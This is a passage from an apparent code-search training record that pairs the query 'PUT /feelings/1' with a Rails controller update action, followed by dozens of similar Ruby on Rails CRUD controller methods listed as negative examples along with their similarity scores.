"0.50915396",
"0.5083694",
"0.5077907",
"0.5071962",
"0.5065889",
"0.50582427",
"0.50555426",
"0.50542814",
"0.5052082",
"0.50516534",
"0.5038647",
"0.5036094",
"0.503284",
"0.5029614",
"0.50257",
"0.50222653",
"0.5020608",
"0.5017581",
"0.50136757",
"0.5010022",
"0.5009933",
"0.50093496",
"0.50086164",
"0.50058603",
"0.4999178",
"0.49971765",
"0.49964783",
"0.49908298",
"0.49908298",
"0.4986381",
"0.4985354",
"0.49727812",
"0.49709067",
"0.49673077",
"0.49671167",
"0.49648085",
"0.4964481",
"0.49630538",
"0.49612224",
"0.49563253",
"0.49552262",
"0.49494958",
"0.49453542",
"0.49438298",
"0.49366543",
"0.49327433",
"0.4921201",
"0.49209678",
"0.49209678",
"0.49178013",
"0.49130163",
"0.49086758",
"0.49067706",
"0.4906056",
"0.4905068",
"0.49038416",
"0.49011302",
"0.49007565",
"0.489592",
"0.48943922"
] | 0.5887462 | 7 |
PUT /feelings/1 PUT /feelings/1.json | def update
@feeling = Feeling.find(params[:id])
respond_to do |format|
if @feeling.update_attributes(params[:feeling])
format.html { redirect_to @feeling, notice: 'Feeling was successfully updated.' }
format.json { head :ok }
else
format.html { render action: "edit" }
format.json { render json: @feeling.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_feeling\n @feeling = Feeling.find(params[:id])\n end",
"def update\n puts \"update #{@feeling.as_json} #{updated_params.as_json}\"\n respond_to do |format|\n if @feeling.update(updated_params)\n puts \"brucep update success\"\n #format.html { redirect_to @feeling, notice: 'Feeling was successfully updated.' }\n format.html { redirect_to new_feeling_path }\n format.json { render :show, status: :ok, location: @feeling }\n #format.js\n else\n format.html { render :edit }\n format.json { render json: @feeling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @featuring.update(featuring_params)\n format.html { redirect_to @featuring, notice: 'Featuring was successfully updated.' }\n format.json { render :show, status: :ok, location: @featuring }\n else\n format.html { render :edit }\n format.json { render json: @featuring.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @belief = Belief.find(params[:id])\n\n respond_to do |format|\n if @belief.update_attributes(params[:belief])\n format.html { redirect_to @belief, :notice => 'Belief was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @belief.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @feeling_card.update(feeling_card_params)\n format.html { redirect_to @feeling_card, notice: 'Feeling card was successfully updated.' }\n format.json { render :show, status: :ok, location: @feeling_card }\n else\n format.html { render :edit }\n format.json { render json: @feeling_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@feat = Feat.find(params[:id])\n @feat = @character.feats.find(params[:id])\n\n respond_to do |format|\n if @feat.update_attributes(params[:feat])\n flash[:notice] = 'Feat was successfully updated.'\n format.html { redirect_to(edit_character_path(@character)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feat.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @feeling = Feeling.find(params[:id])\n @feeling.destroy\n render :ok, json: { feeling: @feeling }\n end",
"def update\n @favorite_flyer = FavoriteFlyer.find(params[:id])\n\n respond_to do |format|\n if @favorite_flyer.update_attributes(params[:favorite_flyer])\n format.html { redirect_to @favorite_flyer, notice: 'Favorite flyer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @favorite_flyer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def feeling_params\n params.require(:feeling).permit(:feeling_card_id, :super_category, :category, :vfeeling, :experience_id, :note).merge(user_id: current_user.id)\n end",
"def create\n @survey = Survey.find(params[:survey_id])\n emoji = params[:emoji]\n mood = params[:mood]\n @feeling = Feeling.new(mood: mood, emoji: emoji)\n @survey.feelings << @feeling\n\n if @feeling.save\n render :ok, json: @feeling\n else\n @errors = @feelings.error.full_messages\n render json: {message: @errors}, status: :unprocessable_entity\n end\n\n if !@survey\n render json: {message: [\"Survey is Required!\"] }, status: :unprocessable_entity\n end\n end",
"def update\n @fishing_method = FishingMethod.find(params[:id])\n\n respond_to do |format|\n if @fishing_method.update_attributes(params[:fishing_method])\n format.html { redirect_to @fishing_method, notice: 'Fishing method was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fishing_method.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fee = Fee.find(params[:id])\n\n respond_to do |format|\n if @fee.update_attributes(params[:fee])\n format.html { redirect_to fees_path, notice: 'Fee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'FOAF was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'Foaf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @familiar = Familiar.find(params[:id])\n\n respond_to do |format|\n if @familiar.update_attributes(params[:familiar])\n format.html { redirect_to @familiar, notice: 'Familiar was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @familiar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @faq.update(faqs_params)\n json_response(@faq)\n end",
"def destroy\n @feeling = Feeling.find(params[:id])\n @feeling.destroy\n\n respond_to do |format|\n format.html { redirect_to feelings_url }\n format.json { head :ok }\n end\n end",
"def update\n @saying = Saying.find(params[:id])\n\n respond_to do |format|\n if @saying.update_attributes(params[:saying])\n format.html { redirect_to @saying}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @saying.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @hearted.update(hearted_params)\n format.html { redirect_to @hearted, notice: 'Hearted was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @hearted.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @feeling = Feeling.new(feeling_params)\n\n respond_to do |format|\n if @feeling.save\n format.html { redirect_to new_feeling_path }\n #format.js\n format.json { render :show, status: :created, location: @feeling }\n else\n format.html { render :new }\n #format.json { render json: @feeling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @favorite_recipe.update(favorite_recipe_params)\n format.html { redirect_to @favorite_recipe, notice: 'Favorite recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_recipe }\n else\n format.html { render :edit }\n format.json { render json: @favorite_recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fast_food.update(fast_food_params)\n format.html { redirect_to @fast_food, notice: 'Fast food was successfully updated.' }\n format.json { render :show, status: :ok, location: @fast_food }\n else\n format.html { render :edit }\n format.json { render json: @fast_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @favourite_food = FavouriteFood.find(params[:id])\n\n respond_to do |format|\n if @favourite_food.update_attributes(params[:favourite_food])\n format.html { redirect_to @favourite_food, notice: 'Favourite food was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @favourite_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @foodhamper = Foodhamper.find(params[:id])\n\n respond_to do |format|\n if @foodhamper.update_attributes(params[:foodhamper])\n format.html { redirect_to @foodhamper, notice: 'Foodhamper was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foodhamper.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @idea = Idea.find(params[:id])\n respond_with(@idea) do |format|\n if @idea.update_attributes(params[:idea])\n format.json { render json: @idea, status: :created, location: @idea }\n else\n format.json { render json: @idea.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @appraisal_fee.update(appraisal_fee_params)\n format.html { redirect_to appraisal_fees_path, notice: 'Appraisal fee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @appraisal_fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@klass_fee = KlassFee.find(params[:id])\n\n respond_to do |format|\n if @klass_fee.update_attributes(params[:klass_fee])\n format.html { redirect_to klass_klass_fees_path(@klass), notice: 'Klass fee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @klass_fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @meal_food.update(meal_food_params)\n format.html { redirect_to @meal_food, notice: 'Meal food was successfully updated.' }\n format.json { render :show, status: :ok, location: @meal_food }\n else\n format.html { render :edit }\n format.json { render json: @meal_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to foods_path(), notice: 'Food was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_feeling_card\n @feeling_card = FeelingCard.find(params[:id])\n end",
"def new\n @sake= Sake.find(params[:sake_id])\n @feeling = Feeling.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feeling }\n end\n end",
"def update\n @gotcha = Gotcha.find(params[:id])\n\n respond_to do |format|\n if @gotcha.update_attributes(params[:gotcha])\n format.html { redirect_to @gotcha, notice: 'Gotcha was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gotcha.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fortune = Fortune.find(params[:id])\n\n respond_to do |format|\n if @fortune.update_attributes(params[:fortune])\n format.html { redirect_to @fortune, notice: 'Piosenka pozytywnie zaktualizowana.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fortune.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @housing_feature = HousingFeature.find(params[:id])\n\n respond_to do |format|\n if @housing_feature.update_attributes(params[:housing_feature])\n format.html { redirect_to @housing_feature, notice: 'Housing feature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @housing_feature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @flavor = Flavor.find(params[:id])\n\n respond_to do |format|\n if @flavor.update_attributes(params[:flavor])\n format.html { redirect_to @flavor, :notice => 'Flavor was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @flavor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @questionfife.update(questionfife_params)\n format.html { redirect_to @questionfife, notice: 'Questionfive was successfully updated.' }\n format.json { render :show, status: :ok, location: @questionfife }\n else\n format.html { render :edit }\n format.json { render json: @questionfife.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to @food, notice: \"Piatto aggiornato correttamente.\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fee.update(fee_params)\n format.html { redirect_to @fee, notice: 'Fee was successfully updated.' }\n format.json { render :show, status: :ok, location: @fee }\n else\n format.html { render :edit }\n format.json { render json: @fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fee.update(fee_params)\n format.html { redirect_to @fee, notice: 'Fee was successfully updated.' }\n format.json { render :show, status: :ok, location: @fee }\n else\n format.html { render :edit }\n format.json { render json: @fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @meal = Meal.find(params[:id])\n\n respond_to do |format|\n if @meal.update_attributes(params[:meal])\n format.html { redirect_to @meal, notice: 'Meal was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @star_fact = Star::Fact.find(params[:id])\n\n respond_to do |format|\n if @star_fact.update_attributes(params[:star_fact])\n format.html { redirect_to @star_fact, notice: 'Fact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @star_fact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fucker = Fucker.find(params[:id])\n\n respond_to do |format|\n if @fucker.update_attributes(params[:fucker])\n format.json { head :no_content }\n else\n format.json { render json: @fucker.errors, status: :internal_server_error }\n end\n end\n end",
"def update\n @staffer = Staffer.find(params[:id])\n\n respond_to do |format|\n if @staffer.update_attributes(params[:staffer])\n format.html { redirect_to @staffer, notice: 'Staffer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @staffer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @meal = @meal_recipe.meal\n @meal_plan = @meal.day.meal_plan\n @leftover = Leftover.meal_recipe(@meal_recipe).first\n @meal_ingredient = MealIngredient.new\n\n respond_to do |format|\n if params[:meal_recipe][:multiply].present?\n multiply_portions_and_ingredients(params[:meal_recipe][:multiply].to_d)\n end\n\n if params[:meal_recipe][:add].present?\n # @meal_recipe = MealRecipe.find(params[:id])\n @portions = @meal_recipe.portions\n ratio_increase = 1 + 1/@portions\n multiply_portions_and_ingredients(ratio_increase)\n end\n\n \n if @meal_recipe.update(meal_recipe_params)\n format.turbo_stream\n format.html { redirect_to @meal_recipe, notice: \"Meal recipe was successfully updated.\" }\n format.json { render :show, status: :ok, location: @meal_recipe }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @meal_recipe.errors, status: :unprocessable_entity }\n end\n \n end\n end",
"def update\n respond_to do |format|\n if @fish.update(fish_params)\n format.html { redirect_to @fish, notice: 'Fish was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fish.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @eat.update(eat_params)\n format.html { redirect_to @eat, notice: 'Eat was successfully updated.' }\n format.json { render :show, status: :ok, location: @eat }\n else\n format.html { render :edit }\n format.json { render json: @eat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @face_off.update(face_off_params)\n format.html { redirect_to @face_off, notice: 'Face off was successfully updated.' }\n format.json { render :show, status: :ok, location: @face_off }\n else\n format.html { render :edit }\n format.json { render json: @face_off.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fiction = Fiction.find(params[:id])\n\n respond_to do |format|\n if @fiction.update_attributes(params[:fiction])\n format.html { redirect_to @fiction, notice: 'Fiction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fiction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @meal.update(meal_params)\n format.html { redirect_to @meal, notice: 'Meal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @freelancer_knowledge.update(freelancer_knowledge_params)\n format.html { redirect_to @freelancer_knowledge, notice: 'Freelancer knowledge was successfully updated.' }\n format.json { render :show, status: :ok, location: @freelancer_knowledge }\n else\n format.html { render :edit }\n format.json { render json: @freelancer_knowledge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @knowledge.update(knowledge_params)\n format.html { redirect_to knowledges_path, notice: 'Knowledge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @knowledge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feat = @person.feats.find(params[:id])\n level_old = @person.level\n\n if params[:feat][:completed] == '1'\n @feat.complete\n else\n @feat.uncomplete\n end\n sign = params[:feat][:completed] == '1' ? '+': '-'\n \n has_leveled = @person.level > level_old\n\n respond_to do |format|\n format.json { render :json => {\n :xpGained => \"#{sign}#{@feat.xp}\",\n :xpTotal => @person.xp,\n :next_level_ratio => @person.next_level_ratio,\n :extra_life => @person.level_to_string,\n :has_leveled => has_leveled,\n :completed => @feat.completed,\n :streak => @feat.calculate_streak}}\n \n end\n\n end",
"def update\n @needed_good = NeededGood.find(params[:id])\n\n respond_to do |format|\n if @needed_good.update_attributes(params[:needed_good])\n format.html { redirect_to @needed_good, notice: 'Good was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @needed_good.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @framing_saw.update(framing_saw_params)\n format.html { redirect_to @framing_saw, notice: 'Framing saw was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @framing_saw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @flavor.update(flavor_params)\n format.html { redirect_to @flavor, notice: 'Flavor was successfully updated.' }\n format.json { render :show, status: :ok, location: @flavor }\n else\n format.html { render :edit }\n format.json { render json: @flavor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @frosting_flavor.update(frosting_flavor_params)\n format.html { redirect_to @frosting_flavor, notice: 'Frosting flavor was successfully updated.' }\n format.json { render :show, status: :ok, location: @frosting_flavor }\n else\n format.html { render :edit }\n format.json { render json: @frosting_flavor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @butterfly = Butterfly.find(params[:id])\n\n respond_to do |format|\n if @butterfly.update_attributes(params[:butterfly])\n format.html { redirect_to @butterfly, notice: 'Butterfly was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @butterfly.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sheep.update(sheep_params)\n format.html { redirect_to @sheep, notice: 'Sau ble oppdatert.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sheep.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @favourites_recipe.update(favourites_recipe_params)\n format.html { redirect_to @favourites_recipe, notice: 'Favourites recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @favourites_recipe }\n else\n format.html { render :edit }\n format.json { render json: @favourites_recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @eaten.update(eaten_params)\n format.html { redirect_to @eaten, notice: 'Eaten was successfully updated.' }\n format.json { render :show, status: :ok, location: @eaten }\n else\n format.html { render :edit }\n format.json { render json: @eaten.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @flat_happening = FlatHappening.find(params[:id])\n\n if @flat_happening.update_attributes(params[:flat_happening])\n head :no_content\n else\n render json: @flat_happening.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @falta.update(falta_params)\n format.html { redirect_to @falta, notice: \"Falta was successfully updated.\" }\n format.json { render :show, status: :ok, location: @falta }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @falta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end",
"def update\n @knowledge_point = KnowledgePoint.find(params[:id])\n\n respond_to do |format|\n if @knowledge_point.update_attributes(params[:knowledge_point])\n format.html { redirect_to @knowledge_point, :notice => 'Knowledge point was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @knowledge_point.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fantasy_draft_style.update(fantasy_draft_style_params)\n format.html { redirect_to @fantasy_draft_style, notice: 'Fantasy draft style was successfully updated.' }\n format.json { render :show, status: :ok, location: @fantasy_draft_style }\n else\n format.html { render :edit }\n format.json { render json: @fantasy_draft_style.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @feild.update(feild_params)\n format.html { redirect_to @feild, notice: 'Feild was successfully updated.' }\n format.json { render :show, status: :ok, location: @feild }\n else\n format.html { render :edit }\n format.json { render json: @feild.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fish.update(fish_params)\n format.html { redirect_to @fish, notice: \"Fish was successfully updated.\" }\n format.json { render :show, status: :ok, location: @fish }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @fish.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n hash2 = { text: params[:text], plano_id: params[:plano_id]}\n if @weakness.update(hash2)\n format.html { redirect_to student_area_my_plan_path, notice: 'Fraqueza atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @weakness }\n else\n format.html { render :edit }\n format.json { render json: @weakness.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @spoofer = Spoofer.find(params[:id])\n\n respond_to do |format|\n if @spoofer.update_attributes(params[:spoofer])\n format.html { redirect_to @spoofer, notice: 'Spoofer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spoofer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @done_food.update(done_food_params)\n format.html { redirect_to @done_food, notice: 'Done food was successfully updated.' }\n format.json { render :show, status: :ok, location: @done_food }\n else\n format.html { render :edit }\n format.json { render json: @done_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fish.update(fish_params)\n format.html { redirect_to @fish, notice: 'Fish was successfully updated.' }\n format.json { render :show, status: :ok, location: @fish }\n else\n format.html { render :edit }\n format.json { render json: @fish.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fish.update(fish_params)\n format.html { redirect_to @fish, notice: 'Fish was successfully updated.' }\n format.json { render :show, status: :ok, location: @fish }\n else\n format.html { render :edit }\n format.json { render json: @fish.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fish.update(fish_params)\n format.html { redirect_to @fish, notice: 'Fish was successfully updated.' }\n format.json { render :show, status: :ok, location: @fish }\n else\n format.html { render :edit }\n format.json { render json: @fish.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fish.update(fish_params)\n format.html { redirect_to @fish, notice: 'Fish was successfully updated.' }\n format.json { render :show, status: :ok, location: @fish }\n else\n format.html { render :edit }\n format.json { render json: @fish.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @attendance.flake!({reason: params[:attendance][:reason]})\n format.html { redirect_to profile_path, notice: 'Your spot is now open for someone else!' }\n format.json { render :show, status: :created, location: @tea_time }\n else\n format.html { redirect_to profile_path }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def feats_update\n if Config.exists?\n API.upload_feats\n end\n end",
"def update\n respond_to do |format|\n if @heart.update(heart_params)\n format.html { redirect_to @heart, notice: 'Heart was successfully updated.' }\n format.json { render :show, status: :ok, location: @heart }\n else\n format.html { render :edit }\n format.json { render json: @heart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @heart.update(heart_params)\n format.html { redirect_to @heart, notice: 'Heart was successfully updated.' }\n format.json { render :show, status: :ok, location: @heart }\n else\n format.html { render :edit }\n format.json { render json: @heart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @saying.update(saying_params)\n format.html { redirect_to @saying, notice: 'Saying was successfully updated.' }\n format.json { render :show, status: :ok, location: @saying }\n else\n format.html { render :edit }\n format.json { render json: @saying.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @knowledge.update(knowledge_params)\n format.html { redirect_to knowledges_path , notice: 'Área do conhecimento atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @knowledge }\n else\n format.html { render :edit }\n format.json { render json: @knowledge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @frase.update(frase_params)\n format.html { redirect_to @frase, notice: 'Frase was successfully updated.' }\n format.json { render :show, status: :ok, location: @frase }\n else\n format.html { render :edit }\n format.json { render json: @frase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @diet.nil?\n send_error_json(nil, \"Param 'diet' missing\", 400)\n return\n end\n\n if !check_owner()\n send_error_json(@diet.id, 'Unauthorized', 403)\n return\n end\n\n fav = true\n if params['diet'].nil? || params['diet']['favourite'].nil? || params['diet']['favourite']=='false'\n fav = false\n end\n update_hash = {:favourite => fav}\n if params['diet'] && params['diet']['amount']\n update_hash[:amount] = params['diet']['amount'].to_f\n end\n if params['diet'] && params['diet']['food_type_name']\n ft = FoodType.where(name: params['diet']['food_type_name']).first\n if !ft.nil?\n amount = @diet.amount\n if !update_hash[:amount].nil?\n amount = update_hash[:amount].to_f\n end\n update_hash[:food_type_id] = ft.id\n update_hash[:name] = ft.name\n # update_hash[:calories] = amount*ft.kcal\n # update_hash[:carbs] = amount*ft.carb\n # update_hash[:fat] = amount*ft.fat\n # update_hash[:prot] = amount*ft.prot\n else\n send_error_json(@diet.id, \"Invalid food type\", 400)\n return\n end\n\n end\n\n if @diet.update_attributes(update_hash)\n send_success_json(@diet.id, { diet_name: @diet.diet_name})\n else\n send_error_json(@diet.id, @diet.errors.full_messages.to_sentence, 400)\n end\n\n end",
"def update\n @idea = Idea.find(params[:id])\n raise_error_on_intrusion\n\n respond_to do |format|\n if @idea.update_attributes(params[:idea])\n format.html { redirect_to @idea, notice: 'Idea was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @idea.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @femalejump_head.update(femalejump_head_params)\n format.html { redirect_to @femalejump_head, notice: 'Femalejump head was successfully updated.' }\n format.json { render :show, status: :ok, location: @femalejump_head }\n else\n format.html { render :edit }\n format.json { render json: @femalejump_head.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fat.update(fat_params)\n format.html { redirect_to @fat, notice: 'Fat was successfully updated.' }\n format.json { render :show, status: :ok, location: @fat }\n else\n format.html { render :edit }\n format.json { render json: @fat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @factor = Factor.find(params[:id])\n\n respond_to do |format|\n if @factor.update_attributes(params[:factor])\n format.html { redirect_to @factor, notice: 'Factor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @future_recipe.update(future_recipe_params)\n format.html { redirect_to @future_recipe, notice: 'Future link was successfully updated.' }\n format.json { render :show, status: :ok, location: @future_recipe }\n else\n format.html { render :edit }\n format.json { render json: @future_recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @foam = Foam.find(params[:id])\n\n respond_to do |format|\n if @foam.update_attributes(params[:foam])\n format.html { redirect_to @foam, notice: 'Foam was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foam.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @food_recipe = FoodRecipe.find(params[:id])\n\n respond_to do |format|\n if @food_recipe.update_attributes(params[:food_recipe])\n format.html { redirect_to @food_recipe, notice: 'Food recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food_recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @frete = Frete.find(params[:id])\n\n respond_to do |format|\n if @frete.update_attributes(params[:frete])\n format.html { redirect_to @frete, notice: 'Frete was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @frete.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cooked_meal.update(cooked_meal_params)\n format.html { redirect_to @cooked_meal, notice: 'Cooked meal was successfully updated.' }\n format.json { render :show, status: :ok, location: @cooked_meal }\n else\n format.html { render :edit }\n format.json { render json: @cooked_meal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @favorite_web_thing.update(favorite_web_thing_params)\n format.html { redirect_to @favorite_web_thing, notice: 'Favorite web thing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @favorite_web_thing.errors, status: :unprocessable_entity }\n end\n end\n end",
